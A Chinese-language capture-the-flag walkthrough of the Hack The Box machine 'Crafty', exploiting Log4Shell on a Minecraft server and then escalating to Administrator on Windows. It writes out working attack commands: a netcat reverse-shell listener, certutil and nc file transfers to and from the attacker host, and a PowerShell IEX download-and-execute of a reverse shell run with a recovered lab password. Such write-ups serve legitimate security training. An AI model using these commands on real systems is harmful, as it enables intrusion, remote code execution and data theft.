Hack The Box-Crafty

端口扫描&信息收集

使用nmap对靶机端口进行扫描

nmap -sV -sC -p- 10.10.11.249

在这里插入图片描述

开放了80和25565端口,先访问80端口

在这里插入图片描述

是一个我的世界游戏的界面,对其进行目录扫描和子域名探测

dirsearch -u crafty.htb
gobuster dns -d crafty.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

在这里插入图片描述

在这里插入图片描述

在访问了play.crafty.htb后,也没有任何发现,因此需要利用之前发现的25565端口

在这里插入图片描述

这是一个Minecraft的游戏服务器,猜测需要我们访问该端口进行进一步利用

在minecraft.net/download上下载debian版的minecraft

在这里插入图片描述

然后执行以下命令

dpkg -i Minecraft.deb
apt-get -f install

执行完毕后,能够在应用栏看到minecraft应用程序

在这里插入图片描述

登录进Microsoft用户,有如下界面

在这里插入图片描述

然后选择版本为1.16.5,看看试玩模式是否能够有用

在这里插入图片描述

在这里插入图片描述

悲鸣!试玩模式无法远程连接服务器,需要另外的解决办法

经过编者不断地寻找,发现可以使用TLauncher来进行免登录游玩,具体步骤如下

先安装一个TLauncher的jdk1.8依赖环境

wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
tar -zxf jdk-8u181-linux-x64.tar.gz
mv jdk1.8.0_181 jdk1.8.0_20

前往https://tlauncher.org/en/下载TLauncher

在这里插入图片描述

将TLauncher解压后,有一个jar文件,将其放到jdk的文件夹下,启动它

在这里插入图片描述

在这里插入图片描述

能看到如上界面,下载完1.16.5版本的minecraft后,启动游戏

在这里插入图片描述

尝试加入给定的服务器端口,注:此处原本的ip为10.10.11.249,但是由于配置问题,同一时间只能有一个用户在游戏中,只要该用户在shell状态,任何人都无法再获得一个shell,编者这里一直在挤服务器挤不进去,解决办法是将原本free的vpn配置替换为Release Arena VPN

在这里插入图片描述

此时的ip变为了10.129.196.96

在这里插入图片描述

成功进入世界

在这里插入图片描述

注意到minecraft的版本为1.16.5,存在一个log4j漏洞,下载利用脚本

git clone https://github.com/kozmer/log4j-shell-poc

因为此靶机为Windows系统,将poc中的代码修改为Windows下的命令提示符

在这里插入图片描述

开启一个nc监听

rlwrap nc -lvnp 9100

rlwrap表示启用了一个功能更强的nc

运行该poc

python3 poc.py --userip 10.10.14.22 --webport 8001 --lport 9100

其中webport表示本地web监听的端口,lport为nc监听的端口

在这里插入图片描述

将这一段代码放入到minecraft的聊天框中并发送

在这里插入图片描述

成功拿到shell(如果服务器自动退出则需要重新获取一个服务器ip,编者这里的ip变为了10.129.196.72)

在这里插入图片描述

权限提升

经过寻找,在server/plugins文件夹下有一个jar文件

在这里插入图片描述

靶机没有python3环境,因此使用nc来传输文件,将windows版本的nc.exe上传到kali,并开启监听

在这里插入图片描述

Windows主机上下载nc.exe

certutil.exe -urlcache -split -f http://10.10.14.22:8989/nc.exe nc.exe

在这里插入图片描述

kali上开启传输监听端口

nc -lp 1234 > playercounter-1.0-SNAPSHOT.jar

windows上开启传输

.\nc.exe 10.10.14.22 1234 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

传输完成后,使用jd-gui打开jar包查看

在这里插入图片描述

文件中有一段疑似密文的代码,而且没有别的敏感数据,推测其为管理员的密码

以此为凭据,打开一个新的管理员powershell,并输入以下代码

$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.22:8989/shell.ps1')" -Credential $cred

在这里插入图片描述
在这里插入图片描述

其中,shell.ps1为一段powershell代码,可以在revshells中生成,使用的是PowerShell#3(Base64)

在这里插入图片描述

执行完毕后,能拿到一个新的shell,查看用户

在这里插入图片描述

提权成功

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-02-14 02:26:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-14 02:26:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-14 02:26:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-14 02:26:03       20 阅读

热门阅读

  1. 2024/2/8

    2024-02-14 02:26:03       29 阅读
  2. <s-table>、<a-table>接收后端数据

    2024-02-14 02:26:03       29 阅读
  3. 【无标题】

    2024-02-14 02:26:03       28 阅读
  4. 水题中的稀奇古怪trick合集

    2024-02-14 02:26:03       38 阅读
  5. 数据治理领域的框架、标准与模型

    2024-02-14 02:26:03       36 阅读
  6. 前端架构: 本地调试脚手架的2种方式

    2024-02-14 02:26:03       32 阅读
  7. 极其抽象的路由

    2024-02-14 02:26:03       26 阅读
  8. 蚁群算法实现

    2024-02-14 02:26:03       32 阅读
  9. 突破编程_C++_基础教程(输入、输出与文件)

    2024-02-14 02:26:03       21 阅读